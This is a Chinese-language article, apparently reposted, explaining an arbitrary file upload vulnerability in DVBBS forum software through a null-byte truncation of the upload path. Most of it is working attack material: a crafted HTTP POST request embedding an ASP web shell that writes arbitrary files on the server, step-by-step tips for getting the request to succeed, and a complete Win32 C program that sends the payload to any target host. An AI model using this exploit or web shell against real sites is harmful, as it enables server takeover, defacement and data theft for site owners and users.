动网论坛上传文件漏洞的原理以及攻击的代码实现

最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪（猪蛋儿的《目前流行的BBS安全性比较》一文请参阅：http://wvw.ttian.net/forum/viewtopic.php?id=269）说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了).   我们先看一下动网论坛上传文件的相关代码: @#===========无组件上传(upload_0)==================== sub upload_0() set upload=new UpFile_Class @#@#建立上传对象 upload.GetDate (int(Forum_Setting(56))*1024)  @#取得上传数据,不限大小 iCount=0 if upload.err > 0 then   select case upload.err   case 1   Response.Write "请先选择你要上传的文件　[ <a href=# onclick=history.go(-1)>重新上传</a> ]"   case 2   Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K　[ <a href=# onclick=history.go(-1)>重新上传</a> ]"   end select   exit sub   else formPath=upload.form("filepath") @#@#在目录后加(/) if right(formPath,1)<>"/" then formPath=formPath&"/" for each formName in upload.file @#@#列出所有上传了的文件 set file=upload.file(formName) @#@#生成一个文件对象 if file.filesize<100 then   response.write "请先选择你要上传的图片　[ <a href=# onclick=history.go(-1)>重新上传</a> ]"   response.end end if fileExt=lcase(file.FileExt) if CheckFileExt(fileEXT)=false then   response.write "文件格式不正确　[ <a href=# onclick=history.go(-1)>重新上传</a> ]"   response.end end if randomize ranNum=int(90000*rnd)+10000 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt if file.FileSize>0 then     @#@#如果 FileSize > 0 说明有文件数据 file.SaveToFile Server.mappath(filename)  @#@#保存文件 @# response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>" response.write "<script>parent.document.forms[0].myface.value=@#"&FileName&"@#</script>" iCount=iCount+1 end if set file=nothing next set upload=nothing session("upface")="done" Htmend iCount&" 个文件上传结束!" end if end sub 在上面代码中可以看到这样一句: filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码: <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true, parent.document.forms[0].Submit2.disabled=true;"> </form> 这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了. 当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了: formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到@#\0@#字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp@#\0@#的字符串然后发送出去就行了. 我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^): POST /forum/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Host: uyee.com Content-Length: 1593 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF -----------------------------7d4a325500d2 Content-Disposition: form-data; name="filepath" uploadFace\zwell.asp -----------------------------7d4a325500d2 Content-Disposition: form-data; name="act" upload -----------------------------7d4a325500d2 Content-Disposition: form-data; name="file1"; filename="C:\1.gif" Content-Type: text/plain <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write "<font color=red>save Success!</font>"%> <%else%> <%response.write "<font color=red>Save UnSuccess!</font>"%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write "<form action=@#@#@#@# method=post>"%> <%Response.Write "<input type=text name=syfdpath width=32 size=50>"%> <%Response.Write "<br>"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> <%Response.write "<br>"%> <%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%> <%Response.write "<input type=submit value=save>"%> <%Response.write "</form>"%> -----------------------------7d4a325500d2 Content-Disposition: form-data; name="fname" C:\1.gif -----------------------------7d4a325500d2 Content-Disposition: form-data; name="Submit" 上传 -----------------------------7d4a325500d2-- 上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了 1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif" 2.Content-Disposition: form-data; name="fname" C:\1.gif 3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为@#\0@#这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00). 至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句: Content-Length: 1593 很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的. 写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下: #include <winsock2.h> #include <stdio.h> #include "Resource.h" #pragma  comment(lib,"ws2_32.lib") HINSTANCE    g_hInst; HWND      g_hWnd; HWND      m_up; HWND      m_host; HWND      m_webpath; HWND      m_path; HWND      m_filename; HWND      m_upload; DWORD      m_theadid; BYTE      sendbuf[10000]; char      host[80];      //主机地址 char      bbspath[50];    //论坛地址 char      uppath[20];      //上传目录 char      upfilename[50];    //上传文件名 char      upfiledata[8000];  //上传文件内容 int        sendsize;      //总传送数据大小 int        realsndsize = 0;  //传送页面文件的大小 char      snddata[8000]; char      mm[1000]=           "<%dim objFSO%>\r\n"           "<%dim fdata%>\r\n"           "<%dim objCountFile%>\r\n"           "<%on error resume next%>\r\n"           "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"           "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"           "<%fdata = request(\"cyfddata\")%>\r\n"           "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"           "<%objCountFile.Write fdata%>\r\n"           "<%if err =0 then%>\r\n"           "<%response.write \"<font color=red>save Success!</font>\"%>\r\n"           "<%else%>"           "<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n"           "<%end if%>\r\n"           "<%err.clear%>\r\n"           "<%end if%>"           "<%objCountFile.Close%>\r\n"           "<%Set objCountFile=Nothing%>\r\n"           "<%Set objFSO = Nothing%>"           "<%Response.write \"<form action=\@#\@# method=post>\"%>\r\n"           "<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"           "<%Response.Write \"<br>\"%>\r\n"           "<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n"           "<%Response.write \"<br>\"%>\r\n"           "<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"           "<%Response.write \"<input type=submit value=save>\"%>\r\n"           "<%Response.write \"</form>\"%>\r\n"; //获得控件文本 char *gettext(HWND chwnd) {   char tmpbuf[10000];   SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);   return tmpbuf; } //设置控件文本 void settext(HWND chwnd,char *text) {   SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text); } char *itos(int data) {   char tmp[10];   sprintf(tmp, "%d", data);   return tmp; } //上传线程 DWORD WINAPI uploadthread(LPVOID param) {   SOCKET    s;   sockaddr_in sin;   struct hostent * hp;   unsigned int  addr;   s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);   ZeroMemory((void *)&sin, sizeof(sin));      hp = gethostbyname(gettext(m_host));   if (!hp)     addr = inet_addr(gettext(m_host));   if ((!hp) && (addr == INADDR_NONE) )   {     MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);     return 0;   }   if (hp != NULL)     memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);   else     sin.sin_addr.s_addr = addr;   sin.sin_port = htons(80);   sin.sin_family = AF_INET;   strcpy(host, gettext(m_host));   strcpy(bbspath, gettext(m_webpath));   strcpy(upfiledata, gettext(m_upload));   strcpy(uppath, gettext(m_path));   strcpy(upfilename, gettext(m_filename));   realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;   sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"         "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"         "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"         "Accept-Language: zh-cn\r\n"         "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"         "Accept-Encoding: gzip, deflate\r\n"         "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"         "Host: %s\r\n"         "Content-Length: %d\r\n"         "Connection: Keep-Alive\r\n"         "Cache-Control: no-cache\r\n"         "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"         "-----------------------------7d4a325500d2\r\n"         "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"         "%s\\%s",         bbspath,         host,         realsndsize,         uppath,         upfilename);   sendsize = strlen((char *)sendbuf);   sendbuf[sendsize] = @#\0@#;   sprintf(snddata,         "\r\n"         "-----------------------------7d4a325500d2\r\n"         "Content-Disposition: form-data; name=\"act\"\r\n\r\n"         "upload\r\n"         "-----------------------------7d4a325500d2\r\n"         "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"         "Content-Type: text/plain\r\n\r\n"         "%s\r\n"         "-----------------------------7d4a325500d2\r\n"         "Content-Disposition: form-data; name=\"fname\"\r\n\r\n"         "C:\\1.gif\r\n"         "-----------------------------7d4a325500d2\r\n"         "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"         "上传\r\n"         "-----------------------------7d4a325500d2--\r\n\r\n",         upfiledata);   strcat((char *)&sendbuf[sendsize+1], snddata);   sendsize += strlen(snddata);   sendsize += 1;   if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))   {     MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_IConERROR);     return 0;   }   int sendsz = send(s, (char *)sendbuf, sendsize, 0);   if(sendsz <= 0)     MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);   char recvbuf[10000];   recv(s, (char*)recvbuf, 10000, 0);   settext(m_upload, recvbuf);   closesocket(s);   return 0; } void WINAPI  On_Command(WPARAM wParam) {   switch (LOWORD(wParam))   {     case ID_UP:       CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);       break;     case IDCANCEL:       SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));       break;   } } static BOOL  CALLBACK MainDlgProc(HWND hWndDlg, UINT msg,  WPARAM wParam, LPARAM lParam) {   switch (msg)   {     case WM_INITDIALOG:       g_hWnd = hWndDlg;       m_up = GetDlgItem(g_hWnd, ID_UP);       m_host = GetDlgItem(g_hWnd, IDC_EDIT1);       m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);       m_path = GetDlgItem(g_hWnd, IDC_EDIT3);       m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);       m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);       settext(m_host, "192.168.10.101");       settext(m_webpath, "/");       settext(m_path, "uploadface");       settext(m_filename, "zwell.asp");       settext(m_upload, mm);       return TRUE;     case WM_COMMAND:       On_Command(wParam);       break;        case WM_SIZE:       break;     case WM_CLOSE:       EndDialog(g_hWnd,0);       break;   }   return FALSE; } int  APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE  hPrevInstance, LPSTR lpCmdLine,  int  nCmdShow) {   WSADATA  wsaData;      g_hInst=hInstance;   if(WSAStartup(MAKEWORD(1, 1), &wsaData))   {     MessageBox(NULL,"无法初始化  Winsock  DLL\t","错误",MB_OK|MB_ICONSTOP);     return 0;   }   DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1),  NULL, (DLGPROC)  MainDlgProc);   WSACleanup();   return 1; } WINDOWS2003 + VC.NET WINDOWS2003 WINDOWS2000测试通过

原文转自：http://www.ltesting.net